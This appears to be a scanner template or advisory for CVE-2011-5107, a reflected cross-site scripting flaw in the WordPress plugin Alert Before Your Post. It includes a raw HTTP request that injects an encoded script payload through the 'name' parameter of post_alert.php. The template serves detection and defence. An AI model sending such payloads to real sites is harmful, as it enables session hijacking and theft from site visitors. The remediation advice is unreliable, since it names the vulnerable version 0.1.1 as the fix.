| Title | Alert Before Your Post <= 0.1.1 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the Alert Before Your Post plugin (0.1.1) or remove the plugin if it is not necessary for the website's functionality. |
| CVSS Score | 4.3 |
| EPSS Score | 0.02203 |
| CVE ID | CVE-2011-5107 |
| CWE ID | CWE-79 |
| Tags | cve cve2011 wordpress xss wp-plugin vuln |
A cross-site scripting vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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